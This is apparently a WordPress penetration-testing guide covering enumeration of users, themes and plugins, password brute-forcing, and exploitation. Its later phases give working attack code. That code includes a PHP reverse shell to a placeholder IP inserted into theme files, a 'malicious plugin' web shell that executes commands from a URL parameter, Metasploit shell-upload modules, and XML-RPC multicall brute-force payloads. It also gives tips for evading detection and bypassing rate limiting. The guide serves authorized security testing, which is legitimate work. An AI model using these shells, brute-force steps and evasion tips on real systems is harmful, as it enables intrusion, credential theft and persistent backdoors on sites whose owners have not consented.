WordPress Penetration Testing
Purpose
Conduct comprehensive security assessments of WordPress installations including enumeration of users, themes, and plugins, vulnerability scanning, credential attacks, and exploitation techniques. WordPress powers approximately 35% of websites, making it a critical target for security testing.
Prerequisites
- WPScan (pre-installed in Kali Linux)
- Metasploit Framework
- Burp Suite or OWASP ZAP
- Nmap for initial discovery
- cURL or wget
Required Knowledge
- WordPress architecture and structure
- Web application testing fundamentals
- HTTP protocol understanding
- Common web vulnerabilities (OWASP Top 10)
Outputs and Deliverables
- WordPress Enumeration Report - Version, themes, plugins, users
- Vulnerability Assessment - Identified CVEs and misconfigurations
- Credential Assessment - Weak password findings
- Exploitation Proof - Shell access documentation
Core Workflow
Phase 1: WordPress Discovery
Identify WordPress installations:
bash
1# Check for WordPress indicators
2curl -s http://target.com | grep -i wordpress
3curl -s http://target.com | grep -i "wp-content"
4curl -s http://target.com | grep -i "wp-includes"
5
6# Check common WordPress paths
7curl -I http://target.com/wp-login.php
8curl -I http://target.com/wp-admin/
9curl -I http://target.com/wp-content/
10curl -I http://target.com/xmlrpc.php
11
12# Check meta generator tag
13curl -s http://target.com | grep "generator"
14
15# Nmap WordPress detection
16nmap -p 80,443 --script http-wordpress-enum target.com
Key WordPress files and directories:
/wp-admin/ - Admin dashboard
/wp-login.php - Login page
/wp-content/ - Themes, plugins, uploads
/wp-includes/ - Core files
/xmlrpc.php - XML-RPC interface
/wp-config.php - Configuration (not accessible if secure)
/readme.html - Version information
Phase 2: Basic WPScan Enumeration
Comprehensive WordPress scanning with WPScan:
bash
1# Basic scan
2wpscan --url http://target.com/wordpress/
3
4# With API token (for vulnerability data)
5wpscan --url http://target.com --api-token YOUR_API_TOKEN
6
7# Aggressive detection mode
8wpscan --url http://target.com --detection-mode aggressive
9
10# Output to file
11wpscan --url http://target.com -o results.txt
12
13# JSON output
14wpscan --url http://target.com -f json -o results.json
15
16# Verbose output
17wpscan --url http://target.com -v
Phase 3: WordPress Version Detection
Identify WordPress version:
bash
1# WPScan version detection
2wpscan --url http://target.com
3
4# Manual version checks
5curl -s http://target.com/readme.html | grep -i version
6curl -s http://target.com/feed/ | grep -i generator
7curl -s http://target.com | grep "?ver="
8
9# Check meta generator
10curl -s http://target.com | grep 'name="generator"'
11
12# Check RSS feeds
13curl -s http://target.com/feed/
14curl -s http://target.com/comments/feed/
Version sources:
- Meta generator tag in HTML
- readme.html file
- RSS/Atom feeds
- JavaScript/CSS file versions
Phase 4: Theme Enumeration
Identify installed themes:
bash
1# Enumerate all themes
2wpscan --url http://target.com -e at
3
4# Enumerate vulnerable themes only
5wpscan --url http://target.com -e vt
6
7# Theme enumeration with detection mode
8wpscan --url http://target.com -e at --plugins-detection aggressive
9
10# Manual theme detection
11curl -s http://target.com | grep "wp-content/themes/"
12curl -s http://target.com/wp-content/themes/
Theme vulnerability checks:
bash
1# Search for theme exploits
2searchsploit wordpress theme <theme_name>
3
4# Check theme version
5curl -s http://target.com/wp-content/themes/<theme>/style.css | grep -i version
6curl -s http://target.com/wp-content/themes/<theme>/readme.txt
Phase 5: Plugin Enumeration
Identify installed plugins:
bash
1# Enumerate all plugins
2wpscan --url http://target.com -e ap
3
4# Enumerate vulnerable plugins only
5wpscan --url http://target.com -e vp
6
7# Aggressive plugin detection
8wpscan --url http://target.com -e ap --plugins-detection aggressive
9
10# Mixed detection mode
11wpscan --url http://target.com -e ap --plugins-detection mixed
12
13# Manual plugin discovery
14curl -s http://target.com | grep "wp-content/plugins/"
15curl -s http://target.com/wp-content/plugins/
Common vulnerable plugins to check:
bash
1# Search for plugin exploits
2searchsploit wordpress plugin <plugin_name>
3searchsploit wordpress mail-masta
4searchsploit wordpress slideshow gallery
5searchsploit wordpress reflex gallery
6
7# Check plugin version
8curl -s http://target.com/wp-content/plugins/<plugin>/readme.txt
Phase 6: User Enumeration
Discover WordPress users:
bash
1# WPScan user enumeration
2wpscan --url http://target.com -e u
3
4# Enumerate specific number of users
5wpscan --url http://target.com -e u1-100
6
7# Author ID enumeration (manual)
8for i in {1..20}; do
9 curl -s "http://target.com/?author=$i" | grep -o 'author/[^/]*/'
10done
11
12# JSON API user enumeration (if enabled)
13curl -s http://target.com/wp-json/wp/v2/users
14
15# REST API user enumeration
16curl -s http://target.com/wp-json/wp/v2/users?per_page=100
17
18# Login error enumeration
19curl -X POST -d "log=admin&pwd=wrongpass" http://target.com/wp-login.php
Phase 7: Comprehensive Enumeration
Run all enumeration modules:
bash
1# Enumerate everything
2wpscan --url http://target.com -e at -e ap -e u
3
4# Alternative comprehensive scan
5wpscan --url http://target.com -e vp,vt,u,cb,dbe
6
7# Enumeration flags:
8# at - All themes
9# vt - Vulnerable themes
10# ap - All plugins
11# vp - Vulnerable plugins
12# u - Users (1-10)
13# cb - Config backups
14# dbe - Database exports
15
16# Full aggressive enumeration
17wpscan --url http://target.com -e at,ap,u,cb,dbe \
18 --detection-mode aggressive \
19 --plugins-detection aggressive
Phase 8: Password Attacks
Brute-force WordPress credentials:
bash
1# Single user brute-force
2wpscan --url http://target.com -U admin -P /usr/share/wordlists/rockyou.txt
3
4# Multiple users from file
5wpscan --url http://target.com -U users.txt -P /usr/share/wordlists/rockyou.txt
6
7# With password attack threads
8wpscan --url http://target.com -U admin -P passwords.txt --password-attack wp-login -t 50
9
10# XML-RPC brute-force (faster, may bypass protection)
11wpscan --url http://target.com -U admin -P passwords.txt --password-attack xmlrpc
12
13# Brute-force with API limiting
14wpscan --url http://target.com -U admin -P passwords.txt --throttle 500
15
16# Create targeted wordlist
17cewl http://target.com -w wordlist.txt
18wpscan --url http://target.com -U admin -P wordlist.txt
Password attack methods:
wp-login - Standard login form
xmlrpc - XML-RPC multicall (faster)
xmlrpc-multicall - Multiple passwords per request
Phase 9: Vulnerability Exploitation
After obtaining credentials:
bash
1# Start Metasploit
2msfconsole
3
4# Admin shell upload
5use exploit/unix/webapp/wp_admin_shell_upload
6set RHOSTS target.com
7set USERNAME admin
8set PASSWORD jessica
9set TARGETURI /wordpress
10set LHOST <your_ip>
11exploit
Plugin Exploitation
bash
1# Slideshow Gallery exploit
2use exploit/unix/webapp/wp_slideshowgallery_upload
3set RHOSTS target.com
4set TARGETURI /wordpress
5set USERNAME admin
6set PASSWORD jessica
7set LHOST <your_ip>
8exploit
9
10# Search for WordPress exploits
11search type:exploit platform:php wordpress
Manual Exploitation
Theme/plugin editor (with admin access):
php
1// Navigate to Appearance > Theme Editor
2// Edit 404.php or functions.php
3// Add PHP reverse shell:
4
5<?php
6exec("/bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'");
7?>
8
9// Or use weevely backdoor
10// Access via: http://target.com/wp-content/themes/theme_name/404.php
Plugin upload method:
bash
1# Create malicious plugin
2cat > malicious.php << 'EOF'
3<?php
4/*
5Plugin Name: Malicious Plugin
6Description: Security Testing
7Version: 1.0
8*/
9if(isset($_GET['cmd'])){
10 system($_GET['cmd']);
11}
12?>
13EOF
14
15# Zip and upload via Plugins > Add New > Upload Plugin
16zip malicious.zip malicious.php
17
18# Access webshell
19curl "http://target.com/wp-content/plugins/malicious/malicious.php?cmd=id"
Phase 10: Advanced Techniques
XML-RPC Exploitation
bash
1# Check if XML-RPC is enabled
2curl -X POST http://target.com/xmlrpc.php
3
4# List available methods
5curl -X POST -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>' http://target.com/xmlrpc.php
6
7# Brute-force via XML-RPC multicall
8cat > xmlrpc_brute.xml << 'EOF'
9<?xml version="1.0"?>
10<methodCall>
11<methodName>system.multicall</methodName>
12<params>
13<param><value><array><data>
14<value><struct>
15<member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
16<member><name>params</name><value><array><data>
17<value><string>admin</string></value>
18<value><string>password1</string></value>
19</data></array></value></member>
20</struct></value>
21<value><struct>
22<member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
23<member><name>params</name><value><array><data>
24<value><string>admin</string></value>
25<value><string>password2</string></value>
26</data></array></value></member>
27</struct></value>
28</data></array></value></param>
29</params>
30</methodCall>
31EOF
32
33curl -X POST -d @xmlrpc_brute.xml http://target.com/xmlrpc.php
Scanning Through Proxy
bash
1# Use Tor proxy
2wpscan --url http://target.com --proxy socks5://127.0.0.1:9050
3
4# HTTP proxy
5wpscan --url http://target.com --proxy http://127.0.0.1:8080
6
7# Burp Suite proxy
8wpscan --url http://target.com --proxy http://127.0.0.1:8080 --disable-tls-checks
HTTP Authentication
bash
1# Basic authentication
2wpscan --url http://target.com --http-auth admin:password
3
4# Force SSL/TLS
5wpscan --url https://target.com --disable-tls-checks
Quick Reference
WPScan Enumeration Flags
| Flag | Description |
|---|
-e at | All themes |
-e vt | Vulnerable themes |
-e ap | All plugins |
-e vp | Vulnerable plugins |
-e u | Users (1-10) |
-e cb | Config backups |
-e dbe | Database exports |
Common WordPress Paths
| Path | Purpose |
|---|
/wp-admin/ | Admin dashboard |
/wp-login.php | Login page |
/wp-content/uploads/ | User uploads |
/wp-includes/ | Core files |
/xmlrpc.php | XML-RPC API |
/wp-json/ | REST API |
WPScan Command Examples
| Purpose | Command |
|---|
| Basic scan | wpscan --url http://target.com |
| All enumeration | wpscan --url http://target.com -e at,ap,u |
| Password attack | wpscan --url http://target.com -U admin -P pass.txt |
| Aggressive | wpscan --url http://target.com --detection-mode aggressive |
Constraints and Limitations
Legal Considerations
- Obtain written authorization before testing
- Stay within defined scope
- Document all testing activities
- Follow responsible disclosure
Technical Limitations
- WAF may block scanning
- Rate limiting may prevent brute-force
- Some plugins may have false negatives
- XML-RPC may be disabled
Detection Evasion
- Use random user agents:
--random-user-agent
- Throttle requests:
--throttle 1000
- Use proxy rotation
- Avoid aggressive modes on monitored sites
Troubleshooting
WPScan Shows No Vulnerabilities
Solutions:
- Use API token for vulnerability database
- Try aggressive detection mode
- Check for WAF blocking scans
- Verify WordPress is actually installed
Brute-Force Blocked
Solutions:
- Use XML-RPC method instead of wp-login
- Add throttling:
--throttle 500
- Use different user agents
- Check for IP blocking/fail2ban
Cannot Access Admin Panel
Solutions:
- Verify credentials are correct
- Check for two-factor authentication
- Look for IP whitelist restrictions
- Check for login URL changes (security plugins)